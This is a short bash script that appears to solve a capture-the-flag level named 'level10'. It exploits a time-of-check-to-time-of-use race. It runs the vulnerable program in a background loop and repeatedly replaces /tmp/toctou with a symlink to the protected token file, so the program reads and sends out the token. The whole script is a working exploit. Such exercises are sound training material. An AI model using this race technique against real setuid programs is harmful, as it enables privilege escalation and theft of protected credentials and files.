#!/bin/env bash

INPUT="/home/user/level10/token"
OUTPUT="/tmp/toctou"
PROGRAM="/home/user/level10/level10"

touch $OUTPUT

while true; do $PROGRAM $OUTPUT 127.0.0.1; done &

while ! test -r $OUTPUT; do
	rm -f $OUTPUT
	touch $OUTPUT
	rm -rf $OUTPUT
	ln -s $INPUT $OUTPUT
done